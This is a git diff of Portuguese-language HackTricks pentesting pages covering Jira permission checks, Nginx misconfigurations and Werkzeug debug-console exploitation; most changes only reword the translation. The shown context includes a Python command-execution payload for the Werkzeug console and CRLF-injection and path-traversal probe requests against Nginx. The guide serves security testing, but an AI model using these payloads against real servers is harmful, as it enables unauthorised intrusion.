@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -22,9 +22,9 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
### Verificar Privilégios
|
||||
|
||||
No Jira, **os privilégios podem ser verificados** por qualquer usuário, autenticado ou não, através dos endpoints `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando **usuários não autenticados possuem privilégios**, indicando uma **vulnerabilidade de segurança** que poderia potencialmente ser elegível para uma **recompensa**. Da mesma forma, **privilégios inesperados para usuários autenticados** também destacam uma **vulnerabilidade**.
|
||||
No Jira, os **privilégios podem ser verificados** por qualquer usuário, autenticado ou não, através dos endpoints `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando **usuários não autenticados possuem privilégios**, indicando uma **vulnerabilidade de segurança** que poderia potencialmente ser elegível para uma **recompensa**. Da mesma forma, **privilégios inesperados para usuários autenticados** também destacam uma **vulnerabilidade**.
|
||||
|
||||
Uma **atualização importante** foi feita em **1 de fevereiro de 2019**, exigindo que o endpoint 'mypermissions' inclua um **parâmetro de permissão**. Esse requisito visa **aumentar a segurança** especificando os privilégios sendo consultados: [verifique aqui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
Uma **atualização importante** foi feita em **1 de fevereiro de 2019**, exigindo que o endpoint 'mypermissions' inclua um **parâmetro 'permission'**. Essa exigência visa **aumentar a segurança** especificando os privilégios sendo consultados: [verifique aqui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -86,14 +86,14 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -35,11 +35,11 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
```
|
||||
Nesta configuração, `/etc/nginx` é designado como o diretório raiz. Esta configuração permite o acesso a arquivos dentro do diretório raiz especificado, como `/hello.txt`. No entanto, é crucial notar que apenas uma localização específica (`/hello.txt`) está definida. Não há configuração para a localização raiz (`location / {...}`). Esta omissão significa que a diretiva raiz se aplica globalmente, permitindo que solicitações ao caminho raiz `/` acessem arquivos em `/etc/nginx`.
|
||||
|
||||
Uma consideração de segurança crítica surge desta configuração. Uma simples solicitação `GET`, como `GET /nginx.conf`, poderia expor informações sensíveis ao servir o arquivo de configuração do Nginx localizado em `/etc/nginx/nginx.conf`. Definir a raiz como um diretório menos sensível, como `/etc`, poderia mitigar esse risco, no entanto, ainda poderia permitir acesso não intencional a outros arquivos críticos, incluindo outros arquivos de configuração, logs de acesso e até credenciais criptografadas usadas para autenticação básica HTTP.
|
||||
Uma consideração de segurança crítica surge desta configuração. Uma simples solicitação `GET`, como `GET /nginx.conf`, poderia expor informações sensíveis ao servir o arquivo de configuração do Nginx localizado em `/etc/nginx/nginx.conf`. Definir a raiz para um diretório menos sensível, como `/etc`, poderia mitigar esse risco, no entanto, ainda poderia permitir acesso não intencional a outros arquivos críticos, incluindo outros arquivos de configuração, logs de acesso e até credenciais criptografadas usadas para autenticação básica HTTP.
|
||||
|
||||
## Configuração de Má Configuração de LFI de Alias <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
## Configuração Incorreta de LFI com Alias <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
Nos arquivos de configuração do Nginx, uma inspeção minuciosa é necessária para as diretivas "location". Uma vulnerabilidade conhecida como Inclusão de Arquivo Local (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha à seguinte:
|
||||
Nos arquivos de configuração do Nginx, uma inspeção minuciosa é necessária para as diretivas "location". Uma vulnerabilidade conhecida como Inclusão Local de Arquivos (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha à seguinte:
|
||||
```
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
|
@ -63,7 +63,7 @@ alias../../ => HTTP status code 403
|
|||
alias../../../../../../../../../../../ => HTTP status code 400
|
||||
alias../ => HTTP status code 403
|
||||
```
|
||||
## Restrição de caminho insegura <a href="#uso-de-variavel-inseguro" id="uso-de-variavel-inseguro"></a>
|
||||
## Restrição de caminho insegura <a href="#uso-de-variavel-insegura" id="uso-de-variavel-insegura"></a>
|
||||
|
||||
Verifique a página a seguir para aprender como contornar diretivas como:
|
||||
```plaintext
|
||||
|
@ -75,16 +75,12 @@ location = /admin/ {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
{% content-ref url="../../pentesting-web/proxy-waf-protections-bypass.md" %}
|
||||
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Uso de variáveis inseguras / Divisão de solicitação HTTP <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
## Uso de variáveis inseguras / Divisão de Requisições HTTP <a href="#uso-de-variaveis-inseguras" id="uso-de-variaveis-inseguras"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Variáveis vulneráveis `$uri` e `$document_uri` e isso pode ser corrigido substituindo-os por `$request_uri`.
|
||||
As variáveis vulneráveis `$uri` e `$document_uri` podem ser corrigidas substituindo-as por `$request_uri`.
|
||||
|
||||
Um regex também pode ser vulnerável como:
|
||||
Uma expressão regular também pode ser vulnerável, como:
|
||||
|
||||
`location ~ /docs/([^/])? { … $1 … }` - Vulnerável
|
||||
|
||||
|
@ -99,7 +95,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
Os caracteres \r (retorno de carro) e \n (avanço de linha) significam novos caracteres de linha em solicitações HTTP, e suas formas codificadas em URL são representadas como `%0d%0a`. Incluir esses caracteres em uma solicitação (por exemplo, `http://localhost/%0d%0aDetectify:%20clrf`) para um servidor mal configurado resulta no servidor emitindo um novo cabeçalho chamado `Detectify`. Isso acontece porque a variável $uri decodifica os caracteres de nova linha codificados em URL, resultando em um cabeçalho inesperado na resposta:
|
||||
Os caracteres \r (retorno de carro) e \n (avanço de linha) significam novos caracteres de linha em solicitações HTTP, e suas formas codificadas em URL são representadas como `%0d%0a`. Incluir esses caracteres em uma solicitação (por exemplo, `http://localhost/%0d%0aDetectify:%20clrf`) para um servidor mal configurado resulta no servidor emitindo um novo cabeçalho chamado `Detectify`. Isso ocorre porque a variável $uri decodifica os caracteres de nova linha codificados em URL, resultando em um cabeçalho inesperado na resposta:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -113,19 +109,19 @@ Saiba mais sobre os riscos de injeção de CRLF e divisão de resposta em [https
|
|||
|
||||
Também essa técnica é [**explicada nesta palestra**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) com alguns exemplos vulneráveis e mecanismos de detecção. Por exemplo, Para detectar essa má configuração de uma perspectiva de caixa-preta, você poderia usar essas solicitações:
|
||||
|
||||
- `https://example.com/%20X` - Qualquer código HTTP
|
||||
- `https://example.com/%20H` - 400 Solicitação Inválida
|
||||
* `https://example.com/%20X` - Qualquer código HTTP
|
||||
* `https://example.com/%20H` - 400 Solicitação Inválida
|
||||
|
||||
Se vulnerável, o primeiro retornará como "X" é qualquer método HTTP e o segundo retornará um erro, pois H não é um método válido. Assim, o servidor receberá algo como: `GET / H HTTP/1.1` e isso acionará o erro.
|
||||
|
||||
Outros exemplos de detecção seriam:
|
||||
|
||||
- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Qualquer código HTTP
|
||||
- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Solicitação Inválida
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Qualquer código HTTP
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Solicitação Inválida
|
||||
|
||||
Algumas configurações vulneráveis encontradas apresentadas nessa palestra foram:
|
||||
|
||||
- Observe como **`$uri`** é definido como está na URL final
|
||||
* Observe como **`$uri`** é definido como está na URL final
|
||||
```
|
||||
location ^~ /lite/api/ {
|
||||
proxy_pass http://lite-backend$uri$is_args$args;
|
||||
|
@ -137,7 +133,7 @@ location ~ ^/dna/payment {
|
|||
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
|
||||
proxy_pass http://$back;
|
||||
```
|
||||
* Agora na AWS S3
|
||||
* Agora no AWS S3
|
||||
```
|
||||
location /s3/ {
|
||||
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
||||
|
@ -145,7 +141,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Qualquer variável
|
||||
|
||||
Foi descoberto que os **dados fornecidos pelo usuário** podem ser tratados como uma **variável Nginx** em determinadas circunstâncias. A causa desse comportamento ainda é um tanto elusiva, no entanto, não é rara nem simples de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada sobre a mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), apontando os Includes do Lado do Servidor (SSI) como a causa raiz.
|
||||
Foi descoberto que os **dados fornecidos pelo usuário** podem ser tratados como uma **variável Nginx** em certas circunstâncias. A causa desse comportamento ainda é um pouco elusiva, mas não é rara nem simples de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada sobre a mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), apontando os Includes do Lado do Servidor (SSI) como a causa raiz.
|
||||
|
||||
Para **detectar essa configuração incorreta**, o seguinte comando pode ser executado, que envolve definir um cabeçalho de referência para testar a impressão da variável:
|
||||
```bash
|
||||
|
@ -163,7 +159,7 @@ def application(environ, start_response):
|
|||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||
return [b"Secret info, should not be visible!"]
|
||||
```
|
||||
Para gerenciar isso, são usadas diretivas específicas na configuração do Nginx:
|
||||
Para gerenciar isso, são utilizadas diretivas específicas na configuração do Nginx:
|
||||
```
|
||||
http {
|
||||
error_page 500 /html/error.html;
|
||||
|
@ -178,7 +174,7 @@ Quando uma solicitação `GET` válida é feita, o Nginx a processa normalmente,
|
|||
|
||||
## merge\_slashes definido como off
|
||||
|
||||
Por padrão, a diretiva **`merge_slashes` do Nginx** é definida como **`on`**, o que comprime múltiplas barras inclinadas em uma URL em uma única barra. Essa funcionalidade, enquanto otimiza o processamento de URL, pode inadvertidamente ocultar vulnerabilidades em aplicações por trás do Nginx, especialmente aquelas propensas a ataques de inclusão de arquivos locais (LFI). Os especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um proxy reverso.
|
||||
Por padrão, a diretiva **`merge_slashes` do Nginx** é definida como **`on`**, o que comprime múltiplas barras inclinadas em uma URL em uma única barra. Essa funcionalidade, enquanto simplifica o processamento de URLs, pode inadvertidamente ocultar vulnerabilidades em aplicações atrás do Nginx, especialmente aquelas propensas a ataques de inclusão de arquivos locais (LFI). Os especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um proxy reverso.
|
||||
|
||||
Para mitigar tais riscos, é recomendado **desativar a diretiva `merge_slashes`** para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe as solicitações para a aplicação sem alterar a estrutura da URL, não mascarando assim quaisquer problemas de segurança subjacentes.
|
||||
|
||||
|
@ -188,7 +184,7 @@ Para mais informações, consulte [Danny Robinson e Rotem Bar](https://medium.co
|
|||
|
||||
Conforme mostrado neste [**artigo**](https://mizu.re/post/cors-playground), existem certos cabeçalhos que, se presentes na resposta do servidor web, alterarão o comportamento do proxy Nginx. Você pode verificá-los [**na documentação**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: Indica ao Nginx redirecionar internamente uma solicitação para uma localização especificada.
|
||||
* `X-Accel-Redirect`: Indica ao Nginx para redirecionar internamente uma solicitação para uma localização especificada.
|
||||
* `X-Accel-Buffering`: Controla se o Nginx deve ou não armazenar em buffer a resposta.
|
||||
* `X-Accel-Charset`: Define o conjunto de caracteres para a resposta ao usar X-Accel-Redirect.
|
||||
* `X-Accel-Expires`: Define o tempo de expiração para a resposta ao usar X-Accel-Redirect.
|
||||
|
@ -283,7 +279,7 @@ Nginxpwner é uma ferramenta simples para procurar por configurações incorreta
|
|||
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
||||
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -295,8 +291,8 @@ Nginxpwner é uma ferramenta simples para procurar por configurações incorreta
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -28,11 +28,11 @@ __import__('os').popen('whoami').read();
|
|||
```
|
||||
![](<../../.gitbook/assets/image (117).png>)
|
||||
|
||||
Também existem vários exploits na internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
|
||||
Existem também vários exploits na internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
|
||||
|
||||
## Protegido por PIN - Traversal de Caminho
|
||||
|
||||
Em algumas ocasiões, o endpoint **`/console`** vai estar protegido por um PIN. Se você tiver uma **vulnerabilidade de travessia de arquivos**, pode vazar todas as informações necessárias para gerar esse PIN.
|
||||
Em algumas ocasiões, o endpoint **`/console`** será protegido por um PIN. Se você tiver uma **vulnerabilidade de traversal de arquivo**, pode vazar todas as informações necessárias para gerar esse PIN.
|
||||
|
||||
### Exploração de PIN do Console Werkzeug
|
||||
|
||||
|
@ -154,7 +154,7 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
Este script produz o PIN hashendo os bits concatenados, adicionando sais específicos (`cookiesalt` e `pinsalt`), e formatando a saída. É importante notar que os valores reais para `probably_public_bits` e `private_bits` precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pelo console Werkzeug.
|
||||
Este script produz o PIN ao fazer hash dos bits concatenados, adicionando sais específicos (`cookiesalt` e `pinsalt`), e formatando a saída. É importante notar que os valores reais para `probably_public_bits` e `private_bits` precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pelo console Werkzeug.
|
||||
|
||||
{% hint style="success" %}
|
||||
Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritmo de hash para md5** em vez de sha1.
|
||||
|
@ -162,7 +162,7 @@ Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritm
|
|||
|
||||
## Caracteres Unicode do Werkzeug
|
||||
|
||||
Como observado neste [**problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não encerra uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado neste [**artigo**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de Smuggling de Requisição CL.0.
|
||||
Como observado neste [**problema**](https://github.com/pallets/werkzeug/issues/2833), o Werkzeug não encerra uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado neste [**artigo**](https://mizu.re/post/twisty-python), isso pode causar uma vulnerabilidade de Smuggling de Solicitação CL.0.
|
||||
|
||||
Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode** e isso fará com que o servidor **quebre**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
|
||||
|
||||
|
@ -173,7 +173,7 @@ Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode
|
|||
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -185,10 +185,10 @@ Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres **Unicode
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -22,7 +22,7 @@ As extensões de navegador são escritas em JavaScript e carregadas pelo navegad
|
|||
|
||||
Os layouts de extensão ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em detalhes.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Scripts de Conteúdo**
|
||||
|
||||
|
@ -83,7 +83,7 @@ Exemplo:
|
|||
```
|
||||
### `content_scripts`
|
||||
|
||||
Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso qualquer página correspondente à expressão **`https://example.com/*`** e que não corresponda ao regex **`*://*/*/business*`**. Eles são executados **como os próprios scripts da página** e têm acesso arbitrário ao [Modelo de Objeto de Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
|
||||
Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso qualquer página correspondente à expressão **`https://example.com/*`** e que não corresponda ao regex **`*://*/*/business*`**. Eles são executados **como os scripts da própria página** e têm acesso arbitrário ao [Modelo de Objeto de Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
|
@ -115,24 +115,24 @@ document.body.appendChild(div);
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
